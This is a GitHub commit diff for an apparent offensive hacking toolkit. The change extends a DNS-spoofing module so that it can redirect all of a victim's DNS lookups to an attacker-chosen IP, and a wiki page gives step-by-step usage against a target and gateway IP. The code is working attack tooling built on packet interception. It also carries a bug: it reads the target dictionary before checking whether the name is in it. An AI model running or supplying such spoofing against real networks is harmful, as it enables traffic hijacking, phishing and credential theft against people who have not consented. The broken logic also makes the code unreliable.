Skip to content

Commit 9cbc322

Browse files
authored
v1.2.1
1 parent 0852969 commit 9cbc322

File tree

3 files changed

+24
-6
lines changed

3 files changed

+24
-6
lines changed

modules/dns_spoof.py

Lines changed: 22 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
import json
77

88
dns_hosts = {}
9+
allwebsitesflag = False
10+
redirect_to = ""
911

1012
def process_packet(packet):
1113
""" processes captured packets """
@@ -24,12 +26,18 @@ def modify_packet(packet):
2426
""" modifies dns packets """
2527

2628
global dns_hosts
29+
global allwebsitesflag
30+
global redirect_to
31+
2732
qname = packet[DNSQR].qname
28-
if qname not in dns_hosts:
33+
spoofto = dns_hosts[qname]
34+
if qname not in dns_hosts and (not allwebsitesflag):
2935
print(f"{utils.colors.BLUE}ignoring {qname} (not on target list){utils.colors.RESET}")
3036
return packet
31-
print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{dns_hosts[qname]}{utils.colors.RESET}")
32-
packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
37+
if allwebsitesflag:
38+
spoofto = redirect_to
39+
print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{spoofto}{utils.colors.RESET}")
40+
packet[DNS].an = DNSRR(rrname=qname, rdata=spoofto)
3341
packet[DNS].ancount = 1
3442
del packet[IP].len
3543
del packet[IP].chksum
@@ -50,10 +58,19 @@ def load_targetlist(filename):
5058

5159
def start_spoofing(recordsfile):
5260
""" starts spoofing dns reponses """
53-
61+
62+
global allwebsitesflag
63+
global redirect_to
64+
65+
allwebsitesflag = recordsfile.startswith("all_")
66+
5467
try:
5568
print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} starting dns spoofing attack{utils.colors.RESET}")
56-
load_targetlist(recordsfile)
69+
if not allwebsitesflag:
70+
load_targetlist(recordsfile)
71+
else:
72+
redirect_to = recordsfile.split("all_")[1]
73+
print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} redirecting all dns requests to {utils.colors.WARNING}{redirect_to}{utils.colors.RESET}")
5774
queue = NetfilterQueue()
5875
queue.bind(0, process_packet)
5976
queue.run()

modules/utils.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def logo():
4343

4444
print(f"""{colors.BOLD}{colors.BLUE}
4545
___ _ _
46-
| _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2{colors.BLUE}{colors.BOLD}
46+
| _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2.1{colors.BLUE}{colors.BOLD}
4747
|| (_|| | |(_(_|| )|_(- {colors.RESET}by {colors.ITALIC}{colors.GREEN}{colors.UNDERLINE}n0nexist.github.io{colors.RESET}
4848
""")
4949

wiki/dns-spoofing.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
# [wiki]::DNS spoofing
22
<ol>
33
<li>Write this to a file:<br><code>{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }</code></li>
4+
<i>(or just insert 'all_192.168.x.x' as the file name to spoof all domains)</i>
45
<li>Discover your target's ip and gateway ip: you can use <a href="https://github.com/n0nexist/subdisc">subdisc</a> for this task.</li>
56
<li>Run: <code>sudo python3 main.py [target ip] [gateway ip] dns records.json</code></li>
67
<li>New dns requests to mydomain.it and otherdomain.com will make the target go to <code>192.168.1.113</code>,

0 commit comments

Comments
 (0)